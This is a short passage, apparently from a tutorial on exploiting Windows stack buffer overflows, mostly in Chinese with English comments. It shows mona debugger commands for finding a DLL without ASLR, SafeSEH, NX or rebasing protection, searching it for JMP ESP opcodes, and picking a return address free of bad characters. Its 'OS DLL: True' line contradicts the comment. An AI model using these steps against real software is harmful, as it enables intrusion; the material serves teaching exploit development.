!mona modules #Get protections, look for all false except last one (Dll of SO)
你将列出内存映射。搜索具有以下特征的某些DLL:
重新基址: False
SafeSEH: False
ASLR: False
NXCompat: False
OS DLL: True
现在,在这段内存中,你应该找到一些JMP ESP字节,为此执行:
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
然后,如果找到某个地址,请选择一个不包含任何坏字符的地址:
在这种情况下,例如: _0x5f4a358f_
